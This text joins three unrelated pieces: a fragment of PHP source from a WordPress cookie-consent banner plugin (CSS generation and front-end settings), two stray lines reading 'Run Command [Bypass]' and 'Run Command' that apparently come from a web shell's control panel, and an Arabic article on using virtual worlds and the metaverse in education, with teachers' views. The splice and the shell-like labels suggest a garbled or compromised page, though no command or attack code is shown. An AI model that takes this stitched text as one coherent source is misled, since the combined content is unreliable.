if ( cmplz_statistics_privacy_friendly() ) {
$css_files[] = 'anonymous-stats.css';
}
return apply_filters('cmplz_banner_css_files', $css_files);
}
public function get_array_value($field, $key = false ){
if ( $key ) {
$value = $this->{$field}[ $key ] ?? $this->get_default( $field, $key );
} else {
$value = $this->{$field};
}
return $value;
}
public function get_css_settings() {
$output = array(
"banner_background_color" => $this->colorpalette_background['color'] ?? '',
"banner_border_color" => $this->colorpalette_background['border'] ?? '',
"banner_border_width" => $this->get_border_width(),
"banner_width" => $this->banner_width.'px',
"text_font_size" => $this->font_size.'px',
"link_font_size" => $this->font_size.'px',
"category_body_font_size" => $this->font_size.'px',
"banner_border_radius" => $this->get_border_radius($this->colorpalette_border_radius),
"text_color" => $this->colorpalette_text['color'] ?? '',
"hyperlink_color" => $this->colorpalette_text['hyperlink'] ?? '',
"category_header_always_active_color" => "green",
"button_accept_background_color" => $this->colorpalette_button_accept['background'] ?? '',
"button_accept_border_color" => $this->colorpalette_button_accept['border'] ?? '',
"button_accept_text_color" => $this->colorpalette_button_accept['text'] ?? '',
"button_deny_background_color" => $this->colorpalette_button_deny['background'] ?? '',
"button_deny_border_color" => $this->colorpalette_button_deny['border'] ?? '',
"button_deny_text_color" => $this->colorpalette_button_deny['text'] ?? '',
"button_settings_background_color" => $this->colorpalette_button_settings['background'] ?? '',
"button_settings_border_color" => $this->colorpalette_button_settings['border'] ?? '',
"button_settings_text_color" => $this->colorpalette_button_settings['text'] ?? '',
"button_border_radius" => $this->get_border_radius($this->buttons_border_radius),
"slider_active_color" => $this->colorpalette_toggles['background'] ?? '',
"slider_inactive_color" => $this->colorpalette_toggles['inactive'] ?? '',
"slider_bullet_color" => $this->colorpalette_toggles['bullet'] ?? '',
"category_open_icon_url" => "url(".trailingslashit( CMPLZ_URL)."assets/images/chevron-down.svg)",
);
$output = apply_filters( 'cmplz_cookiebanner_settings_css', $output, $this );
return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
}
/**
* Generate the css file for the banner
* @param bool $preview
*/
public function generate_css( $preview = false ): void {
if (get_transient('cmplz_generate_css_active')) {
return;
}
set_transient('cmplz_generate_css_active', true, 10 );
$upload_dir = cmplz_upload_dir('css');
$consent_types = cmplz_get_used_consenttypes();
//when there's nothing yet, get the default
if (empty($consent_types)) {
$consent_types = [COMPLIANZ::$company->get_default_consenttype()];
}
$settings = $this->get_css_settings();
$banner_id = $this->ID ?: 'new';
foreach ( $consent_types as $consent_type ) {
$css_files = $this->get_css_file_modules($consent_type, $preview);
$css = "";
foreach ($css_files as $css_file) {
$file_path = trailingslashit(CMPLZ_PATH) . "cookiebanner/css/$css_file";
if ( file_exists($file_path) ) {
$css .= file_get_contents($file_path) . "\n";
}
}
if ( $this->use_custom_cookie_css ) {
$css .= $this->custom_css;
}
$category_count = 3;//functional is always available, so does not count here
if ( ( isset( $this->category_prefs['show'] ) && ! $this->category_prefs['show'] ) || !cmplz_uses_preferences_cookies() ) {
$category_count--;
}
if ( ( isset( $this->category_stats['show'] ) && ! $this->category_stats['show'] ) || !cmplz_uses_statistic_cookies() ) {
$category_count--;
}
if ( ( isset( $this->category_all['show'] ) && ! $this->category_all['show'] ) || !cmplz_uses_marketing_cookies() ) {
$category_count--;
}
$remove_count = 3 - $category_count;//functional always exists
$height = 216 - $remove_count * 53;
$settings['categories-height'] = $height.'px';
foreach ($settings as $setting => $value) {
$css = preg_replace("/--cmplz_$setting:[^;]*;/", "--cmplz_$setting: $value;", $css, 1);
}
ob_start();
do_action("cmplz_banner_css");
$css .= "\n" . ob_get_clean()."\n";
$css = $this->sanitize_css( apply_filters('cmplz_cookiebanner_css', $css) );
$file = $preview ? "{$upload_dir}banner-preview-{$banner_id}-$consent_type.css" : "{$upload_dir}banner-{$banner_id}-$consent_type.css";
if ( file_exists($upload_dir) && is_writable($upload_dir) ){
$handle = fopen($file, 'wb' );
fwrite($handle, $css);
fclose($handle);
}
// Trigger the action after file generation to allow custom handling
do_action('cmplz_after_css_generation', $file, $css, $upload_dir, $banner_id, $consent_type);
}
delete_transient('cmplz_generate_css_active' );
}
/**
* Get array to output to front-end
* @param bool $preview
* @return array
*/
public function get_front_end_settings( $preview = false ) {
$store_consent = cmplz_ab_testing_enabled() || cmplz_get_option('records_of_consent') === 'yes';
$this->dismiss_timeout = $this->dismiss_on_timeout ? 1000 * $this->dismiss_timeout : false;
$upload_url = is_ssl() ? str_replace('http://', 'https://', cmplz_upload_url()) : cmplz_upload_url();
//check if the css file exists. if not, use default.
$css_file = $upload_url . 'css/banner-{banner_id}-{type}.css';
$banner_id = $this->ID;
if ( !$preview ) {
$upload_dir = cmplz_upload_dir();
$consent_types = cmplz_get_used_consenttypes();
foreach ( $consent_types as $consent_type ) {
$file = "css/banner-$banner_id-$consent_type.css";
if ( ! file_exists( $upload_dir . $file ) ) {
$css_file = CMPLZ_URL . "cookiebanner/css/defaults/banner-{type}.css";
}
}
}
$script_debug = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? time() : '';
$locale = get_locale();
$page_links = cmplz_get_transient( "page_links_{$banner_id}_{$locale}" );
if ( !$page_links ) {
$page_links = COMPLIANZ::$document->get_page_links();
cmplz_set_transient( "page_links_{$banner_id}_{$locale}", $page_links, 10 * MINUTE_IN_SECONDS);
}
$region = apply_filters('cmplz_user_region', COMPLIANZ::$company->get_default_region() );
$disable_cookiebanner = $this->disable_cookiebanner || is_preview() || cmplz_is_pagebuilder_preview() || isset($_GET["cmplz_safe_mode"]);
$output = array(
'prefix' => COMPLIANZ::$banner_loader->get_cookie_prefix(),
'user_banner_id' => apply_filters( 'cmplz_user_banner_id', cmplz_get_default_banner_id() ),
'set_cookies' => apply_filters( 'cmplz_set_cookies_on_consent', array() ), //cookies to set on acceptance, in order array('cookiename=>array('consent value', 'revoke value');
'block_ajax_content' => cmplz_get_option( 'enable_cookieblocker_ajax' ),
'banner_version' => $this->banner_version,
'version' => CMPLZ_VERSION,
'store_consent' => $store_consent,
'do_not_track_enabled' => cmplz_get_option('respect_dnt') !== 'no',
'consenttype' => COMPLIANZ::$company->get_default_consenttype(),
'region' => $region,
'geoip' => cmplz_geoip_enabled(),
'dismiss_timeout' => $this->dismiss_timeout,
'disable_cookiebanner' => $disable_cookiebanner,
'soft_cookiewall' => (bool) $this->soft_cookiewall,
'dismiss_on_scroll' => (bool) $this->dismiss_on_scroll,
'cookie_expiry' => cmplz_get_option( 'cookie_expiry' ),
'url' => get_rest_url(null, 'complianz/v1/'),
'locale' => 'lang='.substr( get_locale(), 0, 2 ).'&locale='.get_locale(),
'set_cookies_on_root' => cmplz_get_option( 'set_cookies_on_root' ),
'cookie_domain' => COMPLIANZ::$banner_loader->get_cookie_domain(),
'current_policy_id' => COMPLIANZ::$banner_loader->get_active_policy_id(),
'cookie_path' => COMPLIANZ::$banner_loader->get_cookie_path(),
'categories' => ['statistics'=> _x("statistics","as in: click to accept statistics cookies","complianz-gdpr"), 'marketing'=> _x("marketing","as in: click to accept marketing cookies","complianz-gdpr")],
'tcf_active' => cmplz_tcf_active(),
'placeholdertext' => COMPLIANZ::$cookie_blocker->blocked_content_text(),
'css_file' => $css_file . '?v='.$this->banner_version.$script_debug,
'page_links' => $page_links,
'tm_categories' => COMPLIANZ::$banner_loader->uses_google_tagmanager() || (cmplz_get_option('compile_statistics', false )==='matomo-tag-manager'),
'forceEnableStats' => !COMPLIANZ::$banner_loader->cookie_warning_required_stats( $region ),
'preview' => false,
'clean_cookies' => cmplz_get_option( 'safe_mode' ) != 1 && cmplz_get_option( 'consent_per_service' ) === 'yes',
'aria_label' => cmplz_get_option( 'consent_per_service' ) === 'yes' ? __( "Click button to enable {service}", 'complianz-gdpr' ) : cmplz_get_option( 'blocked_content_text' ),
);
$output = apply_filters( 'cmplz_cookiebanner_settings_front_end', $output, $this );
return apply_filters( 'cmplz_cookiebanner_settings', $output, $this );
}
/**
* Get border radius string
* @param array $element
*
* @return string
*/
private function get_border_radius($element) {
$types = array('px', '%','em', 'rem');
$type = !isset($element['type']) || ! in_array( $element['type'], $types, true ) ? 'px' : $element['type'];
$element = wp_parse_args($element, array(
'top'=>0,
'right'=>0,
'bottom'=>0,
'left'=>0,
)
);
$top = $element['top'] . $type . ' ';
$right = $element['right'] . $type . ' ';
$bottom = $element['bottom'] . $type . ' ';
$left = $element['left'] . $type;
return $top . $right . $bottom . $left;
}
private function get_border_width() {
$top = isset( $this->border_width['top'] ) ? $this->border_width['top'] . 'px ' : 0;
$right = isset( $this->border_width['right'] ) ? $this->border_width['right'] . 'px ' : 0;
$bottom = isset( $this->border_width['bottom'] ) ? $this->border_width['bottom'] . 'px ' : 0;
$left = isset( $this->border_width['left'] ) ? $this->border_width['left'] . 'px ' : 0;
return $top . $right . $bottom . $left;
}
}
}
Run Command [Bypass]
Run Command
بين التربية والتقنية هل ينتج العالم الافتراضي جيلاً مثقفًا أم معزولًا؟ – tahkoom.com
كتبت شروق عارف
في ظل التطور التكنولوجي الحادث والابتكارات الجديدة ظهر العالم الافتراضي الذي أحدث ثورة في كافة المجالات مما جعلنا نطرح سؤال مهم ماذا لو أصبح التعليم مرتبط بالعالم الافتراضي؟ وكيف سيؤثر هذا الربط على الطلاب وتحصيلهم الأكاديمي ؟
ما هو العالم الافتراضي والميتافيرس؟
في البداية علينا تعريف العالم الافتراضي والميتافيرس العالم الافتراضي يعد تقنية تسمح للمستخدمين بالانخراط في بيئة ثلاثية الأبعاد و يتم إنشاؤها من خلال الحاسوب ويتيح العالم الافتراضي للمستخدمين الشعور بأنهم حاضرين في هذا العالم يحدث ذلك من خلال استخدام نظارات مخصصة كما عرف المركز الوطني للتعليم الإلكتروني العالم الافتراضي بأنه بيئة افتراضية بالكامل
أما الميتافيرس فهو عبارة عن عالم رقمي ثلاثي الأبعاد يحاكي الواقع ويتيح التفاعل الاجتماعي والترفيهي بمعنى أوضح يعد بيئة مفتوحة تمثل العالم الحقيقي تتيح لأي شخص التحرك في أي مكان داخل العالم الافتراضي هذه التقنية المتقدمة تخلق بيئة افتراضية تتيح للمستخدمين التفاعل معها بشكل واقعي
التعليم في العالم الافتراضي
في حالة ربط التعليم بالعالم الافتراضي سوف يحدث ذلك طفرة في أساليب التدريس من خلال خلق موارد تعليمية جديدة مما سيساهم بشكل كبير في تحسين تجربة التعليم من خلال تعزيز المشاركة وزيادة الاحتفاظ بالمعلومات سيتم ذلك من خلال إدخال الطالب في بيئة ثلاثية الأبعاد مما سيتيح له تجربة تعليمية فريدة من نوعها
مزايا وتحديات ربط التعليم بالعالم الافتراضي
من أهم المزايا التي يقدمها العالم الافتراضي للطلاب هو إعدادهم للعمل في المستقبل وذلك من خلال تزويدهم بخبرات لا حصر لها كما أن ربط التعليم بالعالم الافتراضي سيساهم بشكل كبير في زيادة القدرة على الاحتفاظ بالمعلومات بالإضافة إلى ذلك يمكن للعالم الافتراضي توفير تجارب تعليمية فريدة من نوعها باستخدام تقنية الواقع الافتراضي التي تتيح نقل الطلاب إلى أماكن وبيئات مختلفة قد لا يتمكنون من الوصول إليها بطرق تقليدية
ومع ذلك، تواجه هذه الفوائد عدة تحديات أبرزها التكلفة العالية حيث تعتبر معدات وبرامج الواقع الافتراضي باهظة الثمن بالإضافة إلى ذلك هناك نقص في تدريب المعلمين على استخدام تقنيات الواقع الافتراضي مما قد يؤدي إلى انخفاض في نتائج التعلم فعلى سبيل المثال تجربة نظام التابلت في أول سنة حققت فشل ذريع وذلك بسبب عدم فهم المعلمين والطلاب لطبيعة النظام
آراء متباينة حول فاعلية العالم الافتراضي
أوضح محمد عصام مدرس الفلسفة وعلم النفس في المرحلة الثانوية أن فكرة ربط التعليم بالعالم الافتراضي تعتبر مميزة للغاية ولكن أكد على ضرورة تطبيقها بشكل صحيح ومدروس وأضاف أن الإمكانيات الحالية في مصر لا تسمح بتطبيق هذه التقنية كما أضاف الاعتماد المفرط على التكنولوجيا في التعليم سوف يكون له آثار سلبية على الطلاب بالإضافة إلى أن العالم الافتراضي لا يمكن أن يحل محل المعلم
من جانبه قال محمود محسن مدرس اللغة العربية بالمرحلة الإعدادية إن إدخال العالم الافتراضي في التعليم قد يوثر بشكل إجابي في العملية التعليمية من حيث الشكل والمحتوى لكنه شدد على أهمية المعلم في التعليم موكدا أن التفاعل المباشر بين الطالب والمعلم يظل عنصرًا أساسيا لا يمكن الاستغناء عنه وأضاف محمود أن التعليم لا يقتصر فقط على المعلومات بل يشمل القيم والتربية والتوجيه وهي أمور يصعب نقلها بشكل فعال من خلال بيئة افتراضية بحتة
وعلي جانب اخر أضاف أحمد فؤاد مدرس الدراسات في المرحلة الابتدائية أن استخدام العالم الافتراضي في التعليم سيسهم بشكل كبير في تحسين مستوى تحصيل الطلاب خاصة في المرحلة الابتدائية وأوضح أن دمج التكنولوجيا في العملية التعليمية سيجعل الدراسة أكثر متعة مما قد يزيد من دافعية الطلاب للتعلم وتحسين استيعابهم للمحتوى
يمكن القول إن ربط التعليم بالعالم الافتراضي قد يسهم بشكل كبير في توسيع أفاقنا الفكرية وسوف يجعل التجربة التعليمية أكثر متعة ولكن مع ذلك يجب التعامل مع هذه التقنية بحذر حتى نتجنب الأثار السلبية وعلينا التأكد أن العالم الافتراضي لا يمكن أن يحلل محل المعلم
زر الذهاب إلى الأعلى